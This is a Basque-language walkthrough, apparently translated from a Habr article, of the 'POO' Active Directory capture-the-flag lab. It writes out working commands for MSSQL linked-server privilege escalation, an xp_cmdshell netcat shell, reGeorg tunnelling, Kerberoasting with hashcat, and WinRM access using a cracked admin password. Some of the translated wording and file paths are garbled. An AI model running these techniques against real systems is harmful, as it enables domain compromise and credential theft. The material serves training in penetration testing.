Artikulu honetan makina bat ez ezik, gunetik mini-laborategi oso baten igarotzea aztertuko dugu
Deskribapenean esaten den moduan, POO Active Directory ingurune txiki batean erasoen fase guztietan gaitasunak probatzeko diseinatuta dago. Helburua ostalari irisgarri bat arriskuan jartzea da, pribilegioak areagotzea eta, azken finean, domeinu osoa arriskuan jartzea 5 bandera biltzen diren bitartean.
Laborategirako konexioa VPN bidez egiten da. Gomendagarria da laneko ordenagailutik edo zuretzako garrantzitsuak diren datuak dauden ostalari batetik ez konektatzea, informazio-segurtasunaren alorrean zerbait dakien jendearekin sare pribatu batean amaitzen duzulako :)
Antolakuntzari buruzko informazioa
Artikulu, software eta bestelako informazio berriekin eguneratuta egoteko, sortu dut
Informazio guztia hezkuntza helburuetarako soilik aurkezten da. Dokumentu honen egileak ez du inolako erantzukizunik hartzen dokumentu hau aztertzean lortutako ezagutzak eta teknikak erabiltzearen ondorioz inori eragindako kalteengatik.
Intro
Azken joko honek bi makinaz osatuta dago eta 5 bandera ditu.
Erabilgarri dagoen ostalariaren deskribapena eta helbidea ere ematen da.
Has gaitezen!
Errekon bandera
Makina honek 10.13.38.11 IP helbidea du, nik /etc/hosts-en gehitzen dudana.
10.13.38.11 poo.htb
Lehenik eta behin, irekitako portuak eskaneatzen ditugu. Portu guztiak nmap-ekin eskaneatzea denbora luzea hartzen denez, lehenik Mascan erabiliz egingo dut. TCP eta UDP ataka guztiak tun0 interfazetik eskaneatzen ditugu 500 pakete segundoko abiaduran.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Orain, portuetan exekutatzen diren zerbitzuei buruzko informazio zehatzagoa lortzeko, eskaneatu dezagun -A aukerarekin.
nmap -A poo.htb -p80,1433
Beraz, IIS eta MSSQL zerbitzuak ditugu. Kasu honetan, domeinuaren eta ordenagailuaren benetako DNS izena ezagutuko dugu. Web zerbitzarian IIS hasierako orrialdeak agurtzen gaitu.
Goazen direktorioetatik. Gobuster erabiltzen dut horretarako. Parametroetan, interesatzen zaizkigun 128 (-t), URL (-u), hiztegia (-w) eta luzapen kopurua adierazten dugu (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Honek /admin direktoriorako HTTP autentifikazioa ematen digu, baita mahaigaineko zerbitzu eskuragarria den .DS_Store fitxategia ere. .DS_Store karpeta baten ezarpen pertsonalizatuak gordetzen dituzten fitxategiak dira, hala nola fitxategien zerrenda, ikonoen kokapenak eta hautatutako atzeko planoko irudia. Fitxategi hori web garatzaileen web zerbitzariaren direktorioan amai daiteke. Horrela direktorioko edukiei buruzko informazioa lortzen dugu. Horretarako erabil dezakezu
python3 dsstore_crawler.py -i http://poo.htb/
Direktorioaren edukia lortzen dugu. Hemen interesgarriena /dev direktorioa da, bertatik iturriak eta db fitxategiak bi adarretan ikus ditzakegu. Baina fitxategi- eta direktorio-izenen lehen 6 karaktereak erabil ditzakegu zerbitzua IIS ShortName-ren aurrean zaurgarria bada. Ahultasun hori egiaztatu dezakezu erabiliz
Eta "poo_co"-rekin hasten den testu-fitxategi bat aurkituko dugu. Gero zer egin ez nekienez, direktorioa hiztegitik "co"-tik hasten diren hitz guztiak hautatu ditut.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Eta wfuzz erabiliz konponduko dugu.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Eta hitz egokia aurkitzen dugu! Fitxategi honi begiratzen diogu, kredentzialak gorde (DBNAME parametroaren arabera, MSSQLkoak dira).
Bandera errenditzen dugu eta %20 aurreratzen dugu.
Eh bandera
MSSQL-ra konektatzen gara, DBeaver erabiltzen dut.
Datu-base honetan ez dugu ezer interesgarririk aurkitzen, sor dezagun SQL Editorea eta egiaztatu zein erabiltzaile dauden.
SELECT name FROM master..syslogins;
Bi erabiltzaile ditugu. Ikus ditzagun gure pribilegioak.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Beraz, ez dago pribilegiorik. Ikus ditzagun estekatutako zerbitzariak, teknika honi buruz zehatz-mehatz idatzi nuen
SELECT * FROM master..sysservers;
Honela aurkituko dugu beste SQL Server bat. Proba dezagun zerbitzari honetan komandoen exekuzioa openquery() erabiliz.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Eta kontsultaren zuhaitz bat ere eraiki dezakegu.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Kontua da estekatutako zerbitzari bati eskaera egiten diogunean eskaera beste erabiltzaile baten testuinguruan exekutatzen dela! Ikus dezagun zein erabiltzaileren testuinguruan ari garen loturiko zerbitzari batean lanean.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Orain ikus dezagun zer testuingurutan egiten den eskaera bat estekatutako zerbitzari batetik gurera!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Beraz, DBO testuingurua da pribilegio guztiak izan behar dituena. Egiaztatu ditzagun pribilegioak estekatutako zerbitzari baten eskaeraren bat izanez gero.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Ikusten duzuenez, pribilegio guztiak ditugu! Sor dezagun gure administratzailea honela. Baina ez dute openquery bidez onartzen, egin dezagun EXECUTE AT bidez.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Eta orain erabiltzaile berriaren kredentzialekin konektatzen gara, bandera datu-base berria behatzen dugu.
Bandera hau entregatu eta aurrera jarraituko dugu.
BackTrack bandera
Lor dezagun shell bat MSSQL erabiliz, impacket paketetik mssqlclient erabiltzen dut.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Pasahitzak lortu behar ditugu, eta dagoeneko topatu dugun lehenengo gauza webgune bat da. Horrela, web zerbitzariaren konfigurazio bat behar dugu (ez da posible shell eroso bat utzi, itxuraz suebakia martxan dagoela).
Baina sarbidea ukatu egiten da. Fitxategia MSSQL-tik irakur dezakegun arren, zer programazio-lengoaia konfiguratuta dauden jakin behar dugu. Eta MSSQL direktorioan Python dagoela jakin dugu.
Orduan ez dago arazorik web.config fitxategia irakurtzeko.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Aurkitutako kredentzialekin, joan / admin atalera eta hartu bandera.
Oinetako bandera
Izan ere, suebakia erabiltzeak eragozpen batzuk sortzen ditu, baina sareko ezarpenak begiratuta, IPv6 ere erabiltzen dela ohartzen gara!
Gehi dezagun helbide hau /etc/hosts-era.
dead:babe::1001 poo6.htb
Eskaneatu dezagun ostalaria berriro, baina IPv6 protokoloa erabiliz.
Eta WinRM zerbitzua IPv6 bidez eskuragarri dago. Konektatu gaitezen aurkitutako kredentzialekin.
Mahaigainean bandera bat dago, entregatzen dugu.
P00ned bandera
Ostalariaren azterketa egin ondoren
setspn.exe -T intranet.poo -Q */*
Exekutatu dezagun komandoa MSSQL bidez.
Metodo hau erabiliz, p00_hr eta p00_adm erabiltzaileen SPNa lortzen dugu, hau da, Kerberoasting bezalako eraso baten aurrean zaurgarriak direla esan nahi du. Laburbilduz, haien pasahitzen hashak lor ditzakegu.
Lehenik eta behin shell egonkor bat lortu behar duzu MSSQL erabiltzaile gisa. Baina sarbide mugatua dugunez, ostalariarekin komunikazioa dugu 80 eta 1433 portuen bidez soilik. Baina posible da trafikoa 80 portutik tunel egitea! Horretarako erabiliko dugu
Baina bertara sartzen saiatzen garenean, 404 errore bat jasoko dugu. Horrek esan nahi du *.aspx fitxategiak ez direla exekutatzen. Luzapen hauek dituzten fitxategiak exekutatu ahal izateko, instalatu ASP.NET 4.5 honela.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Eta orain, tunnel.aspx sartzen garenean, dena prest dagoela erantzuna jasotzen dugu.
Abiarazi dezagun aplikazioaren bezeroaren zatia, trafikoa bideratuko duena. Trafiko guztia 5432 atakatik zerbitzarira birbidaltuko dugu.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Eta proxykateak erabiltzen ditugu edozein aplikazioren trafikoa gure proxy bidez bidaltzeko. Gehi dezagun proxy hau /etc/proxychains.conf konfigurazio fitxategira.
Orain karga dezagun programa zerbitzarira
Orain entzulea MSSQL bidez abiarazten dugu.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Eta gure proxy bidez konektatzen gara.
proxychains rlwrap nc poo.htb 4321
Eta lor ditzagun hashak.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Ondoren, hash hauen gainean errepikatu behar duzu. Rockyou hiztegian pasahitz hauek ez zituenez, Seclists-en emandako pasahitzen hiztegi GUZTIAK erabili ditut. Bilaketa egiteko hashcat erabiltzen dugu.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Eta bi pasahitzak aurkituko ditugu, lehenengoa dutch_passwordlist.txt hiztegian, eta bigarrena Keyboard-Combinations.txt-en.
Eta, beraz, hiru erabiltzaile ditugu, goazen domeinu kontrolagailura. Lehenik eta behin bere helbidea ezagutuko dugu.
Bikaina, domeinu-kontrolatzailearen IP helbidea aurkitu dugu. Ikus ditzagun domeinuaren erabiltzaile guztiak, baita haietako administratzailea zein den ere. PowerView.ps1 informazioa lortzeko scripta deskargatzeko. Ondoren, evil-winrm erabiliz konektatuko gara, -s parametroan script-a duen direktorioa zehaztuz. Eta gero PowerView script-a kargatuko dugu.
Orain bere funtzio guztietarako sarbidea dugu. p00_adm erabiltzaileak erabiltzaile pribilegiatu baten itxura du, beraz, bere testuinguruan lan egingo dugu. Sor dezagun PSCredential objektu bat erabiltzaile honentzat.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Orain Creds zehazten ditugun Powershell komando guztiak p00_adm gisa exekutatuko dira. Erabiltzaileen zerrenda eta AdminCount atributua bistaratu ditzagun.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Beraz, gure erabiltzailea benetan pribilegiatua da. Ea zer taldetan dagoen.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Azkenean, erabiltzailea domeinu-administratzailea dela baieztatzen dugu. Horrek domeinu-kontrolatzailean urrunetik saioa hasteko eskubidea ematen dio. Saia gaitezen WinRM bidez saioa hasten gure tunela erabiliz. Evil-winrm erabiltzean reGeorg-ek sortutako akatsekin nahastu nintzen.
Orduan, erabil dezagun beste bat, errazagoa,
Saiatzen gara konektatzen, eta sisteman gaude.
Baina ez dago banderarik. Ondoren, begiratu erabiltzaileari eta begiratu mahaigainak.
Bandera mr3ks-en aurkitzen dugu eta laborategia %100 osatuta dago.
Hori da dena. Iritzi gisa, komentatu artikulu honetatik ezer berririk ikasi duzun eta erabilgarria izan zaizun.
Gurekin bat egin dezakezu
Iturria: www.habr.com